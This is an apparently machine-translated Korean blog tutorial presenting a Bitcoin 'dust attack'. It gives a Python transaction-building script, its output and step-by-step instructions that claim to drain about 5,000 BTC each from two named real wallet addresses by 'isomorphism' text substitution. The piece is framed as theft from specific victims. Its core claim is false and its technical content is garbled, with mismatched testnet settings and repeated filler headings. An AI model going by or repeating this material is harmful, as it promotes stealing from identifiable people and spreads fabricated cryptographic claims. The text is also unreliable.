DUST ATTACK 블록체인 거래, 총 10000 BTC에 대한 동형성 확인

크립토 딥 테크

https://youtube.com/watch?v=TD16C_ExwSc%3Fsi%3DxeFpwtaj2wEs5uOY

이 글에서는 “더스트 어택” 이라는 광범위한 주제를 다룰 것입니다. 이 주제는   다음과 같이 알려져 있습니다.  "Dusting Attack"또는  "Crypto Dust". 아마도 모든 암호화폐 사용자나 많은 양의 BTC, ETH 코인을 보유한 사람은 암호화폐 지갑에서 사토시로 미미한 양의 코인을 받는 것을 대체했을 것입니다. 이 영수증은 로 위장되어 있지만  "Donate", 사실 그것은 대차대조표에서 지갑에 축적된 모든 코인을 제거하기 위한 완전히 수학적으로 정제된 시스템입니다. 이 시스템과 “더스트 어택”의 모든 함정을 공개하려는 목표는  2024년 1월 8일 에 글로벌 암호경제 웹사이트 인 코인데스크  에 게시된 기사에서 영감을 받아 촉발되었습니다. 

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.coindesk.com/markets/2024/01/08/mysterious-12m-bitcoin-transaction-to-satoshi-nakamoto-sparks-speculations/
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
pic.twitter.com/w34kjnAHPJ
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
d7db4f96a4059c8906b953677ce533493d7b9da0f854a21b99f5772910dd0a31
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

27 BTC모두가 인기 있는  비트코인 ​​지갑 으로 정확히 누가 보냈는지 궁금해하는 동안  [Satoshi Nakamoto], 우리는 먼지 공격의 두 가지 예를 살펴보고 이 조작의 모든 복잡성과 인기 있는 암호화폐 비트코인의 사용자와 보유자에게 어떤 위험이 기다리고 있는지 알아보겠습니다.


다른 기사 를 살펴보겠습니다   . 예를 들어  TXI D  에서 매우 많은 먼지 공격이 발생했습니다.

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://dust-attack.blogspot.com
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
1d6580dcd979951bd600252b741c22a3ea8e605e43168f8452c68915c3ea2bf3

해당 기사에 따르면  , 이 거래에서는 더스트 공격 시스템을 이용한 비트코인 ​​코인 도난 사건이 가장 많이 발생했습니다.


[2022년 7월-8월] 기간 동안 총 10000 BTC에 대한 성공적인 먼지 공격을 수행한 두 개의 비트코인 ​​주소에 주목해 보겠습니다.


예시 번호 1

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

예시 번호 2

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

먼지 공격을 실행하려면  채굴자가 동형성을 확인하는 것이 중요한 역할을 합니다.  왜냐하면  2022년부터 2024년까지  많은 암호화폐 서비스와 하드웨어 지갑이 먼지 공격에 적극적으로 맞서고 있기 때문입니다.

현재, 콜드 월렛에서 독립적으로 더스트 트랜잭션을 생성하는 방법이 널리 인기를 얻고 있습니다.  예시 1번을 살펴보고 “더스트 트랜잭션 생성” 섹션  으로 이동해 보겠습니다. 

 Windows 10에 Python 3.12.1 설치 

https://youtube.com/watch?v=q1jHMJZwseg%3Fsi%3DbboY9EARIo8JRqcp

 gif 컨텐츠 #01 링크


소스  코드를 다운로드하고  get-pip.py를   설치   하고  install.py를 실행하여  패키지를 설치합니다.

https://youtube.com/watch?v=nvdl_BmReTk%3Fsi%3DIXY5_C32pD6D4IKH

 gif 컨텐츠 #02 링크


우리만의 콜드 월렛을 생성해 보자

https://youtube.com/watch?v=upsUBJp-WYw%3Fsi%3Di6MceKae_nh7w3t9

 gif 컨텐츠 #03 링크


잔액 및 지불 거래

콜드 월렛 잔액을 충전하세요:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
잔액: 0.02786906 BTC 또는 비트코인 ​​단위: 2786906 사토시

머클 트리  의 추가 구축을 위해 잔액 보충 지불의  거래 TXID 해시를 저장해 보겠습니다. 

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
머클 트리는 아래에서 위로 채워지며, 각 데이터 블록에 해싱이 적용되고 결과 값이 트리의 잎에 기록됩니다. 한 단계 더 높은 블록은 두 자식 블록의 해시 값의 합으로 채워집니다. 이 프로세스는 최상위 값 또는 머클 루트를 얻을 때까지 반복됩니다. 비트코인 ​​블록체인은 SHA256 해시 함수를 사용합니다. 다른 블록체인은 다른 암호화 원칙을 사용하여 머클 트리를 만들 수 있습니다.

잔액 보충으로 인한 지불 해시

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://btc1.trezor.io/tx/0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5

TXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 를 복사해 보겠습니다.   이는 콜드 지갑 잔액을 보충하기 위한 해시이기 때문입니다:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK 그런 다음 Python 스크립트 createrawtransaction.py  의 소스 코드를 열고   7번째 줄에서 값을 사용자의 데이터로 변경합니다.

dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

새로 만든 콜드 월렛을 보호하려면:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
우리는 항상  귀하의 PC에서 인터넷을 끕니다. 이는 귀하의 PC에서 타사 실행 애플리케이션에 의한 개인 키 공개에 대한 보안을 위해 필요합니다. 이 프로세스는 몇 분 정도 걸립니다. Dust 트랜잭션 RawTX를 생성할 때 인터넷을 비활성화합니다.

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

5번 줄에서 인터넷이 비활성화되었는지 확인한 후 개인 키 WIF를 삽입하세요.

pk = PrivateKey.parse("L1k********************************************MdrTj")

12번째 줄에 콜드 월렛 잔액의 총액을 더합니다. 우리의 경우, 이 금액은  2786906 사토시 입니다.

tx_in._value = 2786906

더스트 어택으로부터 이익을 얻으세요.

우리는 광부들이 동형성을 확인하면 궁극적으로 수익을 낼 수 있는 비트코인 ​​지갑을 선택합니다. 우리는  예시 1번을 고려하고 있으므로,  우리의 경우 비트코인 ​​지갑 주소를 선택합니다:  14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

9번째 줄에서는 dust 공격을 위한 비트코인 ​​주소를 표시해야 합니다.

send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"

먼지의 양은  555 사토시 이며  , 15번째 줄에서 이 양을 나타냅니다.

    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

다음으로, 우리는 수수료 (광부에 대한 수수료)를 고려합니다  . 이 금액은 226사토시가  될 것입니다. 

555 + 226 = 781 satoshi

또한 우리는 먼지 공격에 781사토시를  할당했기 때문에  콜드 월렛 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK 에 자금을 반환하는 것도 고려해야 합니다.  콜드 월렛 잔액 2786906사토시  의 총 보충 금액에서 이 금액을 빼야 합니다. 

2786906 - 781 = 2786125 satoshi 

16번째 줄에서 우리는 콜드 월렛으로 반환되는 자금의 양을 표시합니다:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

 키나 옵션을 눌러  createrawtransaction.py 스크립트를 실행합니다«F5»  . Run / Run Module F5

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

스크립트를 실행합니다:  createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
dust_index = 0
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2786906
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

결과:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

--------------------------------------

OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG 
b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' 

--------------------------------------

RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

--------------------------------------
https://youtube.com/watch?v=qhNU-7g4sAU%3Fsi%3DZoZrij7Tw7tiNsRP

 gif 콘텐츠 #04.1 로의 링크


RawTX dust 거래를 받았으니  이제 Verify Transactions 섹션  으로 가서    거래가 제대로 생성되었는지 확인해 보겠습니다. RawTX를 복사하여  Verify Transactions and other scripts  입력 필드 에 붙여넣습니다. 

동형성을 수행하기 위한 RawTX:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

ScriptSig 동형성

우리의 dust 공격의 목표는  우리가 555 satoshi를  보내는  Bitcoin Wallet 에서 최대 이익을 얻는 것입니다  . 이를 위해  ScriptSig Isomorphism 섹션으로 이동하여 https://safecurves.cr.yp.to/ladder.html  의 이론에 따라 dust 거래를 동형으로 변환합니다   (두 거래는 채굴자가 확인해야 함). 첫 번째 거래는 dust 거래로, 소량의  555 satoshi가  전송되고, 두 번째 거래는 첫 번째 거래의 동형으로, dust 공격의 희생자의 잔액에서 자금이 역으로 이체됩니다.

https://youtube.com/watch?v=hmYmUA2oMwA%3Fsi%3D6CrhwZi5_AXvo9Ek

 gif 콘텐츠 #05.1 로의 링크


우리는 CryptoDeepTools 저장소 에 결과 동형성을 게시할 것입니다. 

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt

Create Dust Transaction 섹션 에 설명된 이론에 따르면  , 74786964새로운 동형성 트랜잭션의  모든 기존 값을 txid Bitcoin Wallet에서 만들어진  모든 현재 값으로  변경해야 합니다  : 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i  여기서 우리는 소량의  555 사토시 로 dust 공격을 수행합니다.[ send_dust ]


print(tx.serialize().hex()[+10:+74])를 지정하여 스크립트를 실행하고 전체 txid 목록을 해시 스트림 형식으로 변환해 보겠습니다.

https://youtube.com/watch?v=8FeCuytdDm0%3Fsi%3DFwcwpn_ng0IqaxXF

 gif 컨텐츠 #06 링크


모든 스트리밍 해시 형식을 수신한 후에는  txid를 대체하여 전체 목록을 저장해야 합니다. 이를 위해 Notepad++  에서  isomorphism.txt  파일을 열고 다음   키를 누릅니다. write:  74786964 를  다음으로 대체합니다.  \ntxid\n
CTRL + F

CryptoDeepTools 로 가서  Notepad++  에서 대체 기능을 수행해 보겠습니다  . txid  목록을 받았기 때문입니다   . 이제 목록에서  GitHub스트리밍 해시 형식의 전체 목록을 복사하여  isomorphism.txt 파일에 붙여넣습니다.


https://youtube.com/watch?v=CVyy3L4p-jY%3Fsi%3DtYc43pnwGzU3ZNKh

 gif 컨텐츠 #08 로의 링크


파일에서 공개 키를 교체합니다:  isomorphism.txt

동형성은 새로운 거래이며 값  7075626b6579  대신 최대 이익을 얻기 위해 거래를 하려는 비트코인 ​​지갑의 공개 키를 지정해야 합니다. 이를 위해  PublicKey.txt  파일로 이동하여 python 스크립트  pubtoaddr.py 를 실행하여 공개 키가 dust 공격의 주소와 일치하는지  확인합니다   .

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt

그 후에 모든 기존 값을 PublicKey.txt7075626b6579  파일에 있는 값으로  변경해야 합니다  . (모든 작업은 Notepad++  에서도 수행됩니다   .) 


https://youtube.com/watch?v=_dwT4Y4lRKM%3Fsi%3DYu7tzFFILX6OmZp_

gif 컨텐츠  #10 으로의 링크


모든 수익을 받을 비트코인 ​​주소:

누적된 모든 BTC 코인을 전송하려면 SegWit 형식으로 완전히 새로운 비트코인 ​​주소를 생성해야 합니다.

36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

비트코인 주소를 얻으려면  python 스크립트  createrawtransaction.py를hash160 사용하여 디코딩해야 합니다. RedeemScript

print(Tx.get_address_data(send_dust)['script_pubkey'])

hash160새로운 비트코인 ​​주소를  받은 후에는  Notepad++ 에서  isomorphism.txt  파일을  (SegWit) 열고   값을 받은 값으로 바꿔야 합니다. 68617368313630hash160

우리는 동형성에서 이익을 창출하기 위한 새로운 거래를 만드는 데 필요한 모든 값을 추가했습니다. 이제   키를 눌러  파일:   isomorphism.txtCTRL + A 의 모든 텍스트를 선택해야 합니다. 모든 것을 한 줄로 합친 후 키를 눌러야 합니다. 그 결과  CTRL + J공백이 있는 긴 줄이 나타납니다. 키를 눌러 공백을 제거합니다.  공백을 바꿉니다. 그 결과  거래를 완료하기 위한 CTRL + F새로운  RawTX를 얻습니다.


https://youtube.com/watch?v=NdDowxhQvsg%3Fsi%3Du_ccUDlNzDto_oOt

 gif 컨텐츠 #12 로의 링크


RawTX를  섹션 필드로  보내기 위해서는 모든 거래가 채굴자에 의해 확인되어야 합니다  : 브로드캐스트 거래 채굴자에 의한 확인을 위한 신청을 제출하려면 지불이 올바르게 생성되었는지 주의 깊게 확인해야 합니다. 이를 위해 섹션: 거래 확인 및 기타 스크립트  로 이동하십시오. 


DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://coinbin.ru/#verify

먼지 공격으로 얻는 코인의 양은 다음과 같습니다.

5000.00141092 BTC // $ 209364,284.08 미국 달러


DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.coinbase.com/converter/btc/usd

예시 번호 2

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

다른 예를 들어 먼지 공격을 계속해 보겠습니다. 우리는 콜드 월렛으로 같은 주소를 사용할 것입니다:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK 예를 들어  2번의 경우,  우리는 잔액을 다음 금액으로 충전할 것입니다:  0.033532 BTC 또는 비트코인 ​​단위로: 33532 satoshi

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

머클 트리  의 추가 구축을 위해 잔액 보충 지불의  거래 TXID 해시를 저장해 보겠습니다. 


잔액 보충으로 인한 지불 해시

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://btc1.trezor.io/tx/655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5

TXID: 655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 를 복사해 보겠습니다.   이는 콜드 지갑 잔액의 보충 해시이기 때문입니다:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK 그런 다음 Python 스크립트 createrawtransaction.py  의 소스 코드를 열고   7번째 줄에서 값을 사용자의 데이터로 변경합니다.

dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")

5번째 줄을 변경하고 Private Key WIF를 삽입하세요.

pk = PrivateKey.parse("L1k********************************************MdrTj")

12번째 줄에 콜드 월렛 잔액의 총액을 더합니다. 우리의 경우, 이 금액은  33532 사토시 입니다.

tx_in._value = 33532

먼지 공격으로부터 이익을 얻으세요.

우리는 광부들이 동형성을 확인하면 궁극적으로 수익을 낼 수 있는 비트코인 ​​지갑을 선택합니다. 우리는 예제 2를 고려하고 있으므로, 우리의 경우 비트코인 ​​지갑 주소를 선택합니다:  15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

9번째 줄에서는 dust 공격을 위한 비트코인 ​​주소를 표시해야 합니다.

send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"

먼지의 양은  555 사토시 이며  , 15번째 줄에서 이 양을 나타냅니다.

TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

다음으로, 우리는 수수료 (광부에 대한 수수료)를 고려합니다  . 이 금액은 226사토시가  될 것입니다. 

555 + 226 = 781 satoshi

또한 우리는 먼지 공격에 781사토시를  할당했기 때문에  콜드 월렛 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK 에 자금을 반환하는 것도 고려해야 합니다.  콜드 월렛 잔액 33532사토시  를 보충하는 총 금액에서 이 금액을 빼야 합니다. 

33532 - 781 = 32751 satoshi 

16번째 줄에서 우리는 콜드 월렛으로 반환되는 자금의 양을 표시합니다:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

 키나 옵션을 눌러  createrawtransaction.py 스크립트를 실행합니다«F5»  .Run / Run Module F5

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

스크립트를 실행합니다:  createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
dust_index = 0
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 33532
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

결과:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

--------------------------------------

OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'

--------------------------------------

RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800

--------------------------------------
https://youtube.com/watch?v=wTVEjUD8OFQ%3Fsi%3D6iHzf9vKXJ6Nppu9

 gif 콘텐츠 #04.2 로의 링크


RawTX dust 거래를 받았으니  이제 Verify Transactions 섹션  으로 가서    거래가 제대로 생성되었는지 확인해 보겠습니다. RawTX를 복사하여  Verify Transactions and other scripts  입력 필드 에 붙여넣습니다. 

동형성을 수행하기 위한 RawTX:

0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인

ScriptSig 동형성

우리의 dust 공격의 목표는  우리가 555 satoshi를  보내는  Bitcoin Wallet 에서 최대 이익을 얻는 것입니다  . 이를 위해  ScriptSig Isomorphism 섹션으로 이동하여 https://safecurves.cr.yp.to/ladder.html  의 이론에 따라 dust 거래를 동형으로 변환합니다   (두 거래는 채굴자가 확인해야 함). 첫 번째 거래는 dust 거래로, 소량의  555 satoshi가  전송되고, 두 번째 거래는 첫 번째 거래의 동형으로, dust 공격의 희생자의 잔액에서 자금이 역으로 이체됩니다.

https://youtube.com/watch?v=6Bzm5eNnVr4%3Fsi%3DnggHXVx0RwOCF8xE

 gif 콘텐츠 #05.2 로의 링크


우리는 CryptoDeepTools 저장소 에 결과 동형성을 게시할 것입니다. 

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt

Create Dust Transaction 섹션 에 설명된 이론에 따르면  , 74786964새로운 동형성 트랜잭션의  모든 기존 값을 txidBitcoin Wallet에서 만들어진  모든 현재 값으로  변경해야 합니다  : 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt  여기서 우리는 소량의  555 사토시 로 dust 공격을 수행합니다.[ send_dust ]


print(tx.serialize().hex()[+10:+74])를 지정하여 스크립트를 실행하고 전체 txid 목록을 해시 스트림 형식으로 변환해 보겠습니다.

https://youtube.com/watch?v=ELoHPHKsORQ%3Fsi%3DmsY0Fhz8-11mOn5J

 gif 컨텐츠 #07 링크


모든 스트리밍 해시 형식을 수신한 후에는  txid를 대체하여 전체 목록을 저장해야 합니다. 이를 위해 Notepad++  에서  isomorphism.txt  파일을 열고 다음   키를 누릅니다. write:  74786964 를  다음으로 대체합니다.  \ntxid\n
CTRL + F

CryptoDeepTools 로 가서  Notepad++  에서 대체 기능을 수행해 보겠습니다  . txid  목록을 받았기 때문입니다   . 이제 목록에서  GitHub스트리밍 해시 형식의 전체 목록을 복사하여  isomorphism.txt 파일에 붙여넣습니다.


https://youtube.com/watch?v=9eMSR9pk_to%3Fsi%3DtmuTTIdVdXg-blbU

 gif 컨텐츠 #09 로의 링크


파일에서 공개 키를 교체합니다:  isomorphism.txt

동형성은 새로운 거래이며 값  7075626b6579  대신 최대 이익을 얻기 위해 거래를 하려는 비트코인 ​​지갑의 공개 키를 지정해야 합니다. 이를 위해  PublicKey.txt  파일로 이동하여 python 스크립트  pubtoaddr.py 를 실행하여 공개 키가 dust 공격의 주소와 일치하는지  확인합니다   .

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt

그 후에 모든 기존 값을 PublicKey.txt7075626b6579  파일에 있는 값으로  변경해야 합니다  . (모든 작업은 Notepad++  에서도 수행됩니다   .) 


https://youtube.com/watch?v=pWyHKhOY1s0%3Fsi%3DHUqmvP0IGSdnMeKu

gif 컨텐츠  #11 에 대한 링크


모든 수익을 받을 비트코인 ​​주소:

누적된 모든 BTC 코인을 전송하려면 SegWit 형식으로 완전히 새로운 비트코인 ​​주소를 생성해야 합니다.

3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac

비트코인 주소를 얻으려면  python 스크립트  createrawtransaction.py를hash160 사용하여 디코딩해야 합니다. RedeemScript

print(Tx.get_address_data(send_dust)['script_pubkey'])

hash160새로운 비트코인 ​​주소를  받은 후에는  Notepad++ 에서  isomorphism.txt  파일을  (SegWit) 열고   값을 받은 값으로 바꿔야 합니다. 68617368313630hash160

우리는 동형성에서 이익을 창출하기 위한 새로운 거래를 만드는 데 필요한 모든 값을 추가했습니다. 이제   키를 눌러  파일:   isomorphism.txtCTRL + A 의 모든 텍스트를 선택해야 합니다. 모든 것을 한 줄로 합친 후 키를 눌러야 합니다. 그 결과  CTRL + J공백이 있는 긴 줄이 나타납니다. 키를 눌러 공백을 제거합니다.  공백을 바꿉니다. 그 결과  거래를 완료하기 위한 CTRL + F새로운  RawTX를 얻습니다.


https://youtube.com/watch?v=Uf9jWF-saS0%3Fsi%3DGGpvQ3dG3DNKY3at

gif 콘텐츠  #13 에 대한 링크


RawTX를  섹션 필드로  보내기 위해서는 모든 거래가 채굴자에 의해 확인되어야 합니다  : 브로드캐스트 거래 채굴자에 의한 확인을 위한 신청을 제출하려면 지불이 올바르게 생성되었는지 주의 깊게 확인해야 합니다. 이를 위해 섹션: 거래 확인 및 기타 스크립트  로 이동하십시오. 

DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://coinbin.ru/#verify

먼지 공격으로 얻는 코인의 양은 다음과 같습니다.

5001.51473912 BTC // $ 215831966,02 미국 달러


DUST ATTACK 블록체인 거래, 총 10,000 BTC에 대한 동형성 확인
https://www.coinbase.com/converter/btc/usd

참고문헌:


이 자료는 CRYPTO DEEP TECH 포털을 위해 만들어졌으며,   BITCOIN 암호화폐의 약한  ECDSA   서명에    대한 데이터 및 타원 곡선 암호화 secp256k1의 재정적 보안을 보장합니다    . 소프트웨어 제작자는 자료 사용에 대한 책임을 지지 않습니다.


원천

텔레그램: https://t.me/cryptodeeptech

유튜브: https://www.youtube.com/@cryptodeeptech

영상 자료: https://dzen.ru/video/watch/65be9256df804947fbd96fd7

출처: https://cryptodeeptech.ru/dustattack


DUST ATTACK 블록체인 거래, 총 10000 BTC에 대한 동형성 확인

 암호 분석

От